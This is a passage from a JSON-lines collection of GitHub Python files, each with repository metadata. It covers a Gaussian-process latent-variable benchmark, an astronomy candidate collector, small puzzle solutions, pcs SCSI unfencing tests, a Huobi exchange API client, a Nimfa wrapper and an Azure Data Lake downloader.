quadratic\"\n extra_kernel_hyperparam = 1\n gplvm_kernel = GPy.kern.OU(d_latent, variance=1, lengthscale=1)\nelif args.kernel_idx == 2:\n kernel = \"gamma-exponential\"\n extra_kernel_hyperparam = 1\n gplvm_kernel = GPy.kern.RatQuad(d_latent, variance=1, lengthscale=1, power=1)\nelif args.kernel_idx == 3:\n kernel = \"matern\"\n extra_kernel_hyperparam = 1.5\n gplvm_kernel = GPy.kern.Matern32(d_latent, variance=1, lengthscale=1)\nd_observation = (100, 200, 500, 1000, 2000, 5000, 10000)[args.d_observation_idx]\nif args.method_idx == 0:\n method = 'PCA'\nelif args.method_idx == 1:\n method = 'GPLVM'\nelif args.method_idx == 2:\n method = 'IKD'\n\n\nz_true = datasets.generate_latent(d_latent, args.dataset)\ncov_true = utils.kernel_cov_generator(z_true, kernel=kernel, variance=variance, length_scale=length_scale, extra_kernel_hyperparam=extra_kernel_hyperparam)\n\ndf = pd.DataFrame(columns=['r2_true', 'mse_true', 'runtime', 'd_observation', 'trial', 'method', 'dataset', 'kernel'])\n\ndef learn_PCA(x):\n pca = PCA(n_components=d_latent)\n start = time.time()\n z_pca = pca.fit_transform(x)\n end = time.time()\n return z_pca, end-start\n\ndef learn_GPLVM(x):\n m_gplvm = GPy.models.GPLVM(x, d_latent, kernel=gplvm_kernel)\n m_gplvm.likelihood.variance = 1.\n start = time.time()\n m_gplvm.optimize(max_iters=1e4)\n end = time.time()\n z_gplvm = m_gplvm.X.values\n return z_gplvm, end-start\n\ndef learn_IKD(x):\n z_isomap = Isomap(n_components=d_latent).fit_transform(x)\n start = time.time()\n z_ikd = core.ikd_blockwise(x, d_latent, kernel=kernel, extra_kernel_hyperparam=extra_kernel_hyperparam, z_ref=z_isomap)\n end = time.time()\n return z_ikd, end-start\n\n\nif method == 'PCA':\n learn = learn_PCA\nelif method == 'GPLVM':\n learn = learn_GPLVM\nelif method == 'IKD':\n learn = learn_IKD\n\n\nfor trial in range(n_trials):\n x = datasets.gaussian_process_generator(cov_true, d_observation=d_observation, seed=trial)\n\n np.random.seed(trial)\n z_pred, t = learn(x)\n z_pred_aligned = utils.align(z_true, z_pred)\n df.loc[trial] = [r2_score(z_true, z_pred_aligned), mean_squared_error(z_true, z_pred_aligned), t, d_observation, trial, method, args.dataset, kernel]\n\n logging.info(f\"Trial {trial}\")\n\ndf.to_csv(f'outputs/{args.dataset}_{kernel}_{d_observation}_{method}.csv')","repo_name":"JerrySoybean/ikd","sub_path":"test/GPLVM/GPLVM.py","file_name":"GPLVM.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"19726936004","text":"\"\"\"Grab images of all candidates, merge multiple detections, and save.\"\"\"\n\nimport argparse\nimport sys\n\nimport numpy as np\nimport pandas as pd\n\nIMS_PATH = \"/data/des81.b/data/stronglens/DEEP_FIELDS/PROCESSED/TESTING\"\n\n\ndef diffraction_filter(im_arr):\n \"\"\"Check if the riz bands are dominated by spikes, then check g band.\"\"\"\n val = np.sum(np.nanmax(im_arr[:,1:,:,:], axis=(-1, -2)) > 1e5) / len(im_arr)\n if val < 2.5:\n return val\n elif np.sum(np.nanmax(im_arr[:,0,:,:], axis=(-1, -2)) > 1e5) / len(im_arr) < 0.2:\n return 2.4\n return val\n\n\n# Handle command-line arguments.\nparser = argparse.ArgumentParser(description=__doc__)\nparser.add_argument(\n \"--candidate_dir\", type=str, help=\"Path to all_candidates.csv directory.\")\nparser.add_argument(\n \"--trim_spikes\", action=\"store_true\", help=\"Skip candidates with spikes.\")\nparser.add_argument(\n \"--file_limit\", type=int, default=200, help=\"Max candidates per file.\")\nparser_args = parser.parse_args()\n\ncandidate_df = pd.read_csv(f\"{parser_args.candidate_dir}/all_candidates.csv\")\n\ncandidate_data = {}\nnum_cutouts = len(np.unique(candidate_df['CUTOUT_NAME'].values))\ncutout_counter = 0\nfile_suffix = 1\ntotal_candidates = 0\nfor cutout_name, df in candidate_df.groupby('CUTOUT_NAME'):\n # Account for multi-year detections in the data structure.\n year = cutout_name.split('_')[1]\n\n # Track progress.\n cutout_counter += 1\n progress = cutout_counter / num_cutouts * 100\n sys.stdout.write(f\"\\rProgress: {progress:.2f} % Found {total_candidates} candidates. \")\n sys.stdout.flush()\n\n # Merge instances of multiple observations.\n for coadd_id, coadd_id_df in df.groupby('COADD_OBJECT_ID'):\n\n # Grab images.\n cutout_ims = np.load(f\"{IMS_PATH}/{cutout_name}/images.npy\")\n start = coadd_id_df['IDX_MIN'].values[0]\n end = coadd_id_df['IDX_MAX'].values[0] + 1\n ims = cutout_ims[start:end]\n\n # Diffraction spike filter.\n diffraction_score = diffraction_filter(ims)\n if diffraction_score > 2.5 and parser_args.trim_spikes:\n continue\n\n # Store data.\n if coadd_id not in candidate_data:\n candidate_data[coadd_id] = {year: {'IMAGES': ims, 'METADATA': coadd_id_df}}\n total_candidates += 1\n else:\n candidate_data[coadd_id][year] = {'IMAGES': ims, 'METADATA': coadd_id_df}\n \n\n if len(candidate_data) > parser_args.file_limit:\n np.save(f\"{parser_args.candidate_dir}/all_candidates_{file_suffix}.npy\", candidate_data, allow_pickle=True)\n file_suffix += 1\n del candidate_data\n candidate_data = {}\n\nnp.save(f\"{parser_args.candidate_dir}/all_candidates_{file_suffix}.npy\", candidate_data, allow_pickle=True)\n\nprint(\"\\nDone!\")\n","repo_name":"rmorgan10/DES_DeepTransients","sub_path":"zippernet/candidates/collect_candidates.py","file_name":"collect_candidates.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37032841042","text":"\"\"\"\nRuntime: 60 ms\nMemory Usage: 14.9 MB\n\"\"\"\nclass Solution:\n def restoreString(self, s: str, indices: List[int]) -> str:\n rec = [''] * len(s)\n for c, i in zip(s, indices):\n rec[i] = c\n return ''.join(rec)\n","repo_name":"InnoFang/algo-set","sub_path":"LeetCode/1528. Shuffle String/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"47"} +{"seq_id":"19851778828","text":"from matplotlib import pyplot as plt\nimport re\n\n\n# alternative way to regex to get int numbers from the given string\ndef dot_coords(str_with_coords):\n \"\"\"function to extract int numbers from the given 'str_with_coords' string,\n it's supposed that string contains only two numbers separated by ' '\n and the last character can be either '\\n' or nothing at all.\n function returns list with two int numbers\"\"\"\n coords = []\n numb = ''\n for i in range(len(str_with_coords)):\n if '0' <= str_with_coords[i] <= '9':\n numb += str_with_coords[i]\n if i + 1 == len(str_with_coords):\n coords += [int(numb)]\n elif (str_with_coords[i] == ' ' or str_with_coords[i] == '\\n') and numb != '':\n coords += [int(numb)]\n numb = ''\n else:\n numb = ''\n if coords:\n return coords\n else:\n return None\n\n\ndef coordinates(file_name):\n \"\"\"get dots' coordinates from given file\n returns list of x- and y- values\"\"\"\n x_arr = []\n y_arr = []\n regexp = \"\\d+\"\n with open(file_name) as f:\n for line in f:\n # temp = dot_coords(line)\n # x_arr += [temp[0]]\n # x_arr += [temp[1]]\n temp = re.findall(regexp, line)\n x_arr += [int(temp[0])]\n y_arr += [int(temp[1])]\n return [x_arr, y_arr]\n\n\ndef draw_save_image(file_name):\n \"\"\"draw and save a picture from the given dataset of dots'\n coordinates placed int the file\"\"\"\n x_arr, y_arr = coordinates(file_name)\n fig, ax = plt.subplots(figsize=(9.6, 5.4))\n ax.scatter(x_arr, y_arr, color='black')\n ax.axis('off')\n plt.savefig('image.png')\n\n\n# starting point\nf_name = 'DS1.txt'\ndraw_save_image(f_name)\n","repo_name":"AnnaBozhenko/ComputerGraphicsLabs","sub_path":"lab2_prog/images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6235308172","text":"from unittest import TestCase\n\nfrom pcs_test.tools import fixture\nfrom pcs_test.tools.command_env import get_env_tools\n\nfrom pcs.common.reports import codes as report_codes\nfrom pcs.lib.commands import scsi\n\n\nclass TestUnfenceNode(TestCase):\n def setUp(self):\n self.env_assist, self.config = get_env_tools(self)\n self.old_devices = [\"device1\", \"device3\"]\n self.new_devices = [\"device3\", \"device0\", \"device2\"]\n self.added_devices = set(self.new_devices) - set(self.old_devices)\n self.check_devices = sorted(\n set(self.old_devices) & set(self.new_devices)\n )\n self.node = \"node1\"\n\n def test_success_devices_to_unfence(self):\n for old_dev in self.check_devices:\n self.config.runner.scsi.get_status(\n self.node, old_dev, name=f\"runner.scsi.is_fenced.{old_dev}\"\n )\n self.config.runner.scsi.unfence_node(self.node, self.added_devices)\n scsi.unfence_node(\n self.env_assist.get_env(),\n self.node,\n self.old_devices,\n self.new_devices,\n )\n self.env_assist.assert_reports([])\n\n def test_success_no_devices_to_unfence(self):\n scsi.unfence_node(\n self.env_assist.get_env(),\n self.node,\n {\"device1\", \"device2\", \"device3\"},\n {\"device3\"},\n )\n self.env_assist.assert_reports([])\n\n def test_success_replace_unavailable_device(self):\n self.config.runner.scsi.unfence_node(self.node, {\"device2\"})\n scsi.unfence_node(\n self.env_assist.get_env(),\n self.node,\n {\"device1\"},\n {\"device2\"},\n )\n self.env_assist.assert_reports([])\n\n def test_unfencing_failure(self):\n err_msg = \"stderr\"\n for old_dev in self.check_devices:\n self.config.runner.scsi.get_status(\n self.node, old_dev, name=f\"runner.scsi.is_fenced.{old_dev}\"\n )\n self.config.runner.scsi.unfence_node(\n self.node, self.added_devices, stderr=err_msg, return_code=1\n )\n self.env_assist.assert_raise_library_error(\n lambda: scsi.unfence_node(\n self.env_assist.get_env(),\n self.node,\n self.old_devices,\n self.new_devices,\n ),\n [\n fixture.error(\n report_codes.STONITH_UNFENCING_FAILED, reason=err_msg\n )\n ],\n expected_in_processor=False,\n )\n\n def test_device_status_failed(self):\n err_msg = \"stderr\"\n new_devices = [\"device1\", \"device2\", \"device3\", \"device4\"]\n old_devices = new_devices[:-1]\n ok_devices = new_devices[0:2]\n err_device = new_devices[2]\n for dev in ok_devices:\n self.config.runner.scsi.get_status(\n self.node, dev, name=f\"runner.scsi.is_fenced.{dev}\"\n )\n self.config.runner.scsi.get_status(\n self.node,\n err_device,\n name=f\"runner.scsi.is_fenced.{err_device}\",\n stderr=err_msg,\n return_code=1,\n )\n self.env_assist.assert_raise_library_error(\n lambda: scsi.unfence_node(\n self.env_assist.get_env(),\n self.node,\n old_devices,\n new_devices,\n ),\n [\n fixture.error(\n report_codes.STONITH_UNFENCING_DEVICE_STATUS_FAILED,\n device=err_device,\n reason=err_msg,\n )\n ],\n expected_in_processor=False,\n )\n\n def test_unfencing_skipped_devices_are_fenced(self):\n stdout_off = \"Status: OFF\"\n for old_dev in self.check_devices:\n self.config.runner.scsi.get_status(\n self.node,\n old_dev,\n name=f\"runner.scsi.is_fenced.{old_dev}\",\n stdout=stdout_off,\n return_code=2,\n )\n scsi.unfence_node(\n self.env_assist.get_env(),\n self.node,\n self.old_devices,\n self.new_devices,\n )\n self.env_assist.assert_reports(\n [\n fixture.info(\n report_codes.STONITH_UNFENCING_SKIPPED_DEVICES_FENCED,\n devices=sorted(self.check_devices),\n )\n ]\n )\n","repo_name":"HideoYamauchi/pcs","sub_path":"pcs_test/tier0/lib/commands/test_scsi.py","file_name":"test_scsi.py","file_ext":"py","file_size_in_byte":4475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"18573622719","text":"import asyncio\nimport base64\nimport datetime\nimport hashlib\nimport hmac\nimport logging\nimport urllib\n\nfrom os.path import join\n\nfrom crypto_exchange.utils.rest.api import APIClient\nfrom crypto_exchange.utils.aio_http import aio_get, aio_post\n\nlogger = logging.getLogger(__name__)\nPARAMS_ERROR = 'params_error'\n\n\nclass HuobiREST(APIClient):\n\n def __init__(self, api_key=None, secret_key=None, api_version=\"v1\", url=\"https://api.huobi.pro\"):\n self.api_key = api_key\n self.secret_key = secret_key\n self.url = url\n super(HuobiREST, self).__init__(url, api_version=api_version, api_key=api_key, secret_key=secret_key, )\n\n def sign(self, pParams: dict, method: str = None, host_url: str = None, request_path: str = None):\n sorted_params = sorted(pParams.items(), key=lambda d: d[0], reverse=False)\n encode_params = urllib.parse.urlencode(sorted_params)\n payload = [method, host_url, request_path, encode_params]\n payload = '\\n'.join(payload)\n payload = payload.encode(encoding='UTF8')\n secret_key = self.secret_key.encode(encoding='UTF8')\n\n digest = hmac.new(secret_key, payload, digestmod=hashlib.sha256).digest()\n signature = base64.b64encode(digest)\n signature = signature.decode()\n return signature\n\n async def http_get(self, end_url: str, params: dict = None, headers: dict = None, sign=True):\n if not params:\n params = {}\n if not headers:\n headers = {}\n end_url = '/' + end_url\n method = 'GET'\n timestamp = datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%S')\n params.update({'AccessKeyId': self.api_key,\n 'SignatureMethod': 'HmacSHA256',\n 'SignatureVersion': '2',\n 'Timestamp': timestamp})\n\n host_url = self.url\n host_name = urllib.parse.urlparse(host_url).hostname\n host_name = host_name.lower()\n params['Signature'] = self.sign(params, method, host_name, end_url)\n url = host_url + end_url\n # 添加请求头\n headers.update(\n {\"Content-type\": \"application/x-www-form-urlencoded\",\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/'\n '537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36',\n }\n )\n # 异步\n # loop = asyncio.get_event_loop()\n # get_response = loop.run_until_complete(aio_get(url, params, headers=headers))\n\n return await aio_get(url, params, headers=headers)\n\n async def http_post(self, request_path: str, params: dict = None, headers: dict = None):\n if not headers:\n headers = {}\n if not params:\n params = {}\n # 加密拼接url\n request_path = '/' + request_path\n method = 'POST'\n timestamp = datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%S')\n params_to_sign = {'AccessKeyId': self.api_key,\n 'SignatureMethod': 'HmacSHA256',\n 'SignatureVersion': '2',\n 'Timestamp': timestamp}\n\n host_url = self.url\n host_name = urllib.parse.urlparse(host_url).hostname\n host_name = host_name.lower()\n params_to_sign['Signature'] = self.sign(params_to_sign, method, host_name, request_path)\n url = host_url + request_path + '?' + urllib.parse.urlencode(params_to_sign)\n # 添加请求头\n\n headers.update({\n \"Accept\": \"application/json\",\n 'Content-Type': 'application/json'\n })\n # 事件循环对象\n # loop = asyncio.get_event_loop()\n # post_response = loop.run_until_complete(aio_post(url, json_data=params, headers=headers))\n return await aio_post(url, json_data=params, headers=headers)\n","repo_name":"hhstore/py-crypto-exchange-api-client","sub_path":"crypto_exchange/utils/rest/huobi.py","file_name":"huobi.py","file_ext":"py","file_size_in_byte":3863,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"72384314061","text":"\"\"\"\nA wrapper for the matrix factorisation in Nimfa. \n\"\"\"\n\nimport nimfa\nfrom sandbox.util.Parameter import Parameter \nfrom apgl.util.MCEvaluator import MCEvaluator \nfrom exp.sandbox.recommendation.AbstractMatrixCompleter import AbstractMatrixCompleter\n\nclass NimfaFactorise(AbstractMatrixCompleter): \n def __init__(self, method, rank=10, maxIter=10): \n \"\"\"\n Intialise the matrix factorisation with a given algorithm, rank and \n max number of iterations. The rank can be a 1d array in which case \n we use warm restarts to compute the full regularisation path. \n \"\"\"\n super(NimfaFactorise, self).__init__() \n self.method = method \n self.rank = rank \n self.maxIter = maxIter\n \n def setRank(self, rank): \n Parameter.checkInt(rank, 1, float(\"inf\")) \n rank = self.rank \n \n def getRank(self): \n return self.rank \n \n def setMaxIter(self, maxIter): \n Parameter.checkInt(maxIter, 1, float(\"inf\"))\n maxIter = maxIter \n \n def getMaxIter(self): \n return self.maxIter \n \n def learnModel(self, X):\n \"\"\"\n Learn X using a matrix factorisation method. If self.rank is an integer \n then we factorise with that rank. If it is an array then we compute the \n complete regularisation path and return a list of matrices. \n \"\"\"\n if isinstance(self.rank, int): \n model = nimfa.mf(X, method=self.method, max_iter=self.maxIter, rank=self.rank)\n fit = nimfa.mf_run(model)\n W = fit.basis()\n H = fit.coef()\n \n predX = W.dot(H)\n return predX \n else: \n predXList = []\n\n model = nimfa.mf(X, method=self.method, max_iter=self.maxIter, rank=self.rank[0])\n fit = nimfa.mf_run(model)\n W = fit.basis()\n H = fit.coef()\n predXList.append(W.dot(H))\n \n for i in range(1, self.rank.shape[0]): \n model = nimfa.mf(X, method=self.method, max_iter=self.maxIter, rank=self.rank[i], W=W, H=H)\n fit = nimfa.mf_run(model)\n W = fit.basis()\n H = fit.coef()\n predXList.append(W.dot(H))\n\n return predXList\n\n def getMetricMethod(self): \n return MCEvaluator.meanSqError\n \n def copy(self): \n \"\"\"\n Return a new copied version of this object. \n \"\"\"\n nimfaFactorise = NimfaFactorise(method=self.method, rank=self.rank, maxIter=self.maxIter)\n\n return nimfaFactorise \n \n def name(self): \n return \"NimfaFactorise\"","repo_name":"charanpald/sandbox","sub_path":"sandbox/recommendation/NimfaFactorise.py","file_name":"NimfaFactorise.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"47"} +{"seq_id":"43187926945","text":"from math import gcd\n\nT = int(input())\nfor _ in range(T):\n N, D, K = (int(x) for x in input().split())\n K -= 1\n g = gcd(N, D)\n Ng = N // g\n Dg = D // g \n ans = ((K * Dg) % Ng) * g + (K // Ng)\n print(ans)\n ","repo_name":"hitochan777/kata","sub_path":"atcoder/abc290/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5386693955","text":"import unittest\nimport torch\nimport cv2\nimport flask\nimport numpy\nimport sys\nsys.path.insert(1, 'code')\nfrom python_background_pipeline.net.segnet import SegMattingNet\nfrom python_background_pipeline.segmenter import get_segmentation\n\n\nclass TestStreamix(unittest.TestCase):\n def test_bg_image(self):\n img = cv2.imread(\"data/bg_images/HomeBG.jpg\")\n\n def test_model_loading(self):\n model = \"data/models/only_params.pth\"\n self.myModel = SegMattingNet()\n self.myModel.load_state_dict(torch.load(model), strict=False)\n self.myModel.eval()\n self.myModel.to(torch.device('cpu'))\n\n def test_model_working(self):\n self.test_model_loading()\n img = cv2.imread(\"data/bg_images/HomeBG.jpg\")\n image_resize = cv2.resize(img, (256, 256), interpolation=cv2.INTER_CUBIC)\n tensor_4D = torch.FloatTensor(1, 3, 256, 256)\n tensor_4D[0, :, :, :] = torch.FloatTensor(image_resize.transpose(2, 0, 1))\n inputs = tensor_4D.to(torch.device('cpu'))\n seg, alpha = self.myModel(inputs)\n\n\nif __name__ == '__main__':\n main = TestStreamix()\n import sys\n suite = unittest.TestLoader().loadTestsFromTestCase(TestStreamix)\n unittest.TextTestRunner(verbosity=4, stream=sys.stderr).run(suite)\n","repo_name":"kenil-shah/Streamix","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"24941067915","text":"from contextlib import closing\nimport glob\nimport logging\nimport os\nimport pickle\nimport time\nimport errno\nimport uuid\n\nfrom io import open\nfrom .core import AzureDLPath, _fetch_range\nfrom .exceptions import FileExistsError, FileNotFoundError\nfrom .transfer import ADLTransferClient\nfrom .utils import datadir, read_block, tokenize\nfrom .retry import ExponentialRetryPolicy\n\nlogger = logging.getLogger(__name__)\n\n\ndef save(instance, filename, keep=True):\n if os.path.exists(filename):\n all_downloads = load(filename)\n else:\n all_downloads = {}\n if not instance.client._fstates.contains_all('finished') and keep:\n all_downloads[instance._name] = instance\n else:\n all_downloads.pop(instance._name, None)\n try:\n # persist failure should not halt things\n with open(filename, 'wb') as f:\n pickle.dump(all_downloads, f)\n except IOError:\n logger.debug(\"Persist failed: %s\" % filename)\n\n\ndef load(filename):\n try:\n return pickle.load(open(filename, 'rb'))\n except:\n return {}\n\n\nclass ADLDownloader(object):\n \"\"\" Download remote file(s) using chunks and threads\n\n Launches multiple threads for efficient downloading, with `chunksize`\n assigned to each. The remote path can be a single file, a directory\n of files or a glob pattern.\n\n Parameters\n ----------\n adlfs: ADL filesystem instance\n rpath: str\n remote path/globstring to use to find remote files. Recursive glob\n patterns using `**` are not supported.\n lpath: str\n local path. If downloading a single file, will write to this specific\n file, unless it is an existing directory, in which case a file is\n created within it. If downloading multiple files, this is the root\n directory to write within. Will create directories as required.\n nthreads: int [None]\n Number of threads to use. If None, uses the number of cores.\n chunksize: int [2**28]\n Number of bytes for a chunk. Large files are split into chunks. Files\n smaller than this number will always be transferred in a single thread.\n buffersize: int [2**22]\n Ignored in curret implementation.\n Number of bytes for internal buffer. This block cannot be bigger than\n a chunk and cannot be smaller than a block.\n blocksize: int [2**22]\n Number of bytes for a block. Within each chunk, we write a smaller\n block for each API call. This block cannot be bigger than a chunk.\n client: ADLTransferClient [None]\n Set an instance of ADLTransferClient when finer-grained control over\n transfer parameters is needed. Ignores `nthreads` and `chunksize` set\n by constructor.\n run: bool [True]\n Whether to begin executing immediately.\n overwrite: bool [False]\n Whether to forcibly overwrite existing files/directories. If False and\n local path is a directory, will quit regardless if any files would be\n overwritten or not. If True, only matching filenames are actually\n overwritten.\n progress_callback: callable [None]\n Callback for progress with signature function(current, total) where\n current is the number of bytes transfered so far, and total is the\n size of the blob, or None if the total size is unknown.\n timeout: int (0)\n Default value 0 means infinite timeout. Otherwise time in seconds before the\n process will stop and raise an exception if transfer is still in progress\n\n See Also\n --------\n azure.datalake.store.transfer.ADLTransferClient\n \"\"\"\n def __init__(self, adlfs, rpath, lpath, nthreads=None, chunksize=2**28,\n buffersize=2**22, blocksize=2**22, client=None, run=True,\n overwrite=False, verbose=False, progress_callback=None, timeout=0):\n \n # validate that the src exists and the current user has access to it\n # this only validates access to the top level folder. If there are files\n # or folders underneath it that the user does not have access to the download\n # will fail on those files. We clean the path in case there are wildcards.\n # In this case, we will always invalidate the cache for this check to \n # do our best to ensure that the path exists as close to run time of the transfer as possible.\n # Due to the nature of a distributed filesystem, the path could be deleted later during execution,\n # at which point the transfer's behavior may be non-deterministic, but it will indicate an error.\n if not adlfs.exists(AzureDLPath(rpath).globless_prefix, invalidate_cache=True):\n raise FileNotFoundError('Data Lake item at path: {} either does not exist or the current user does not have permission to access it.'.format(rpath))\n if client:\n self.client = client\n else:\n self.client = ADLTransferClient(\n adlfs,\n transfer=get_chunk,\n nthreads=nthreads,\n chunksize=chunksize,\n buffersize=buffersize,\n blocksize=blocksize,\n chunked=False,\n verbose=verbose,\n parent=self,\n progress_callback=progress_callback,\n timeout=timeout)\n self._name = tokenize(adlfs, rpath, lpath, chunksize, blocksize)\n self.rpath = rpath\n self.lpath = lpath\n self._overwrite = overwrite\n existing_files = self._setup()\n if existing_files:\n raise FileExistsError('Overwrite was not specified and the following files exist, blocking the transfer operation. Please specify overwrite to overwrite these files during transfer: {}'.format(','.join(existing_files)))\n \n if run:\n self.run()\n\n def save(self, keep=True):\n \"\"\" Persist this download\n\n Saves a copy of this transfer process in its current state to disk.\n This is done automatically for a running transfer, so that as a chunk\n is completed, this is reflected. Thus, if a transfer is interrupted,\n e.g., by user action, the transfer can be restarted at another time.\n All chunks that were not already completed will be restarted at that\n time.\n\n See methods ``load`` to retrieved saved transfers and ``run`` to\n resume a stopped transfer.\n\n Parameters\n ----------\n keep: bool (True)\n If True, transfer will be saved if some chunks remain to be\n completed; the transfer will be sure to be removed otherwise.\n \"\"\"\n save(self, os.path.join(datadir, 'downloads'), keep)\n\n @staticmethod\n def load():\n \"\"\" Load list of persisted transfers from disk, for possible resumption.\n\n Returns\n -------\n A dictionary of download instances. The hashes are auto-\n generated unique. The state of the chunks completed, errored, etc.,\n can be seen in the status attribute. Instances can be resumed with\n ``run()``.\n \"\"\"\n return load(os.path.join(datadir, 'downloads'))\n\n @staticmethod\n def clear_saved():\n \"\"\" Remove references to all persisted downloads.\n \"\"\"\n if os.path.exists(os.path.join(datadir, 'downloads')):\n os.remove(os.path.join(datadir, 'downloads'))\n\n @property\n def hash(self):\n return self._name\n\n\n\n def _setup(self):\n \"\"\" Create set of parameters to loop over\n \"\"\"\n\n def is_glob_path(path):\n path = AzureDLPath(path).trim()\n prefix = path.globless_prefix\n return not path == prefix\n is_rpath_glob = is_glob_path(self.rpath)\n\n if is_rpath_glob:\n rfiles = self.client._adlfs.glob(self.rpath, details=True, invalidate_cache=True)\n else:\n rfiles = self.client._adlfs.walk(self.rpath, details=True, invalidate_cache=True)\n\n if not rfiles:\n raise ValueError('No files to download')\n\n # If only one file is returned we are not sure whether user specified a dir or a file to download,\n # since walk gives the same result for both i.e walk(\"DirWithsingleFile\") == walk(\"DirWithSingleFile\\SingleFile)\n # If user specified a file in rpath,\n # then we want to download the file into lpath directly and not create another subdir for that.\n # If user specified a dir that happens to contain only one file, we want to create the dir as well under lpath.\n if len(rfiles) == 1 and not is_rpath_glob and self.client._adlfs.info(self.rpath)['type'] == 'FILE':\n if os.path.exists(self.lpath) and os.path.isdir(self.lpath):\n file_pairs = [(os.path.join(self.lpath, os.path.basename(rfiles[0]['name'] + '.inprogress')),\n rfiles[0])]\n else:\n file_pairs = [(self.lpath, rfiles[0])]\n else:\n local_rel_rpath = str(AzureDLPath(self.rpath).trim().globless_prefix)\n file_pairs = [(os.path.join(self.lpath, os.path.relpath(f['name'] +'.inprogress', local_rel_rpath)), f)\n for f in rfiles]\n\n\n # this property is used for internal validation\n # and should not be referenced directly by public callers\n self._file_pairs = file_pairs\n\n existing_files = []\n for lfile, rfile in file_pairs:\n # only interested in the final destination file name for existence, \n # not the initial inprogress target\n destination_file = lfile.replace('.inprogress', '')\n if not self._overwrite and os.path.exists(destination_file):\n existing_files.append(destination_file)\n else:\n self.client.submit(rfile['name'], lfile, rfile['length'])\n \n return existing_files\n\n def run(self, nthreads=None, monitor=True):\n \"\"\" Populate transfer queue and execute downloads\n\n Parameters\n ----------\n nthreads: int [None]\n Override default nthreads, if given\n monitor: bool [True]\n To watch and wait (block) until completion.\n \"\"\"\n def touch(self, src, dst):\n root = os.path.dirname(dst)\n if not os.path.exists(root) and root:\n # don't attempt to create current directory\n logger.debug('Creating directory %s', root)\n try:\n os.makedirs(root)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n logger.debug('Creating empty file %s', dst)\n with open(dst, 'wb'):\n pass\n\n for empty_directory in self.client._adlfs._empty_dirs_to_add():\n local_rel_rpath = str(AzureDLPath(self.rpath).trim().globless_prefix)\n path = os.path.join(self.lpath, os.path.relpath(empty_directory['name'], local_rel_rpath))\n try:\n os.makedirs(path)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n self.client.run(nthreads, monitor, before_start=touch)\n\n def active(self):\n \"\"\" Return whether the downloader is active \"\"\"\n return self.client.active\n\n def successful(self):\n \"\"\"\n Return whether the downloader completed successfully.\n\n It will raise AssertionError if the downloader is active.\n \"\"\"\n return self.client.successful\n\n def __str__(self):\n return \"<ADL Download: %s -> %s (%s)>\" % (self.rpath, self.lpath,\n self.client.status)\n\n __repr__ = __str__\n\ndef get_chunk(adlfs, src, dst, offset, size, buffersize, blocksize,\n shutdown_event=None, retries=10, delay=0.01, backoff=3):\n \"\"\" Download a piece of a remote file and write locally\n\n Internal function used by `download`.\n \"\"\"\n err = None\n total_bytes_downloaded = 0\n retry_policy = ExponentialRetryPolicy(max_retries=retries, exponential_retry_interval=delay,\n exponential_factor=backoff)\n filesessionid = str(uuid.uuid4())\n try:\n nbytes = 0\n start = offset\n\n with open(dst, 'rb+') as fout:\n fout.seek(start)\n while start < offset+size:\n with closing(_fetch_range(adlfs.azure, src, start=start,\n end=min(start+blocksize, offset+size), stream=True,\n retry_policy=retry_policy, filesessionid=filesessionid)) as response:\n chunk = response.content\n if shutdown_event and shutdown_event.is_set():\n return total_bytes_downloaded, None\n if chunk:\n nwritten = fout.write(chunk)\n if nwritten:\n nbytes += nwritten\n start += nwritten\n else:\n raise IOError(\"Failed to write to disk for {0} at location {1} with blocksize {2}\".format(dst, start, blocksize))\n logger.debug('Downloaded %s bytes to %s, byte offset %s', nbytes, dst, offset)\n\n # There are certain cases where we will be throttled and recieve less than the expected amount of data.\n # In these cases, instead of failing right away, instead indicate a retry is occuring and update offset and\n # size to attempt another read to get the rest of the data. We will only do this if the amount of bytes read\n # is less than size, because if somehow we recieved too much data we are not clear on how to proceed.\n if nbytes < size:\n errMsg = 'Did not recieve total bytes requested from server. This can be due to server side throttling and will be retried. Data Expected: {}. Data Received: {}.'.format(size, nbytes)\n size -= nbytes\n offset += nbytes\n total_bytes_downloaded += nbytes\n raise IOError(errMsg)\n elif nbytes > size:\n raise IOError('Received more bytes than expected from the server. Expected: {}. Received: {}.'.format(size, nbytes))\n else:\n total_bytes_downloaded += nbytes\n\n return total_bytes_downloaded, None\n except Exception as e:\n err = e\n logger.debug('Exception %s on ADL download on attempt', repr(err))\n exception = RuntimeError('Max number of ADL retries exceeded: exception ' + repr(err))\n logger.error('Download failed %s; %s', dst, repr(exception))\n return total_bytes_downloaded, exception\n\n\nclass ADLUploader(object):\n \"\"\" Upload local file(s) using chunks and threads\n\n Launches multiple threads for efficient uploading, with `chunksize`\n assigned to each. The path can be a single file, a directory\n of files or a glob pattern.\n\n Parameters\n ----------\n adlfs: ADL filesystem instance\n rpath: str\n remote path to upload to; if multiple files, this is the dircetory\n root to write within\n lpath: str\n local path. Can be single file, directory (in which case, upload\n recursively) or glob pattern. Recursive glob patterns using `**` are\n not supported.\n nthreads: int [None]\n Number of threads to use. If None, uses the 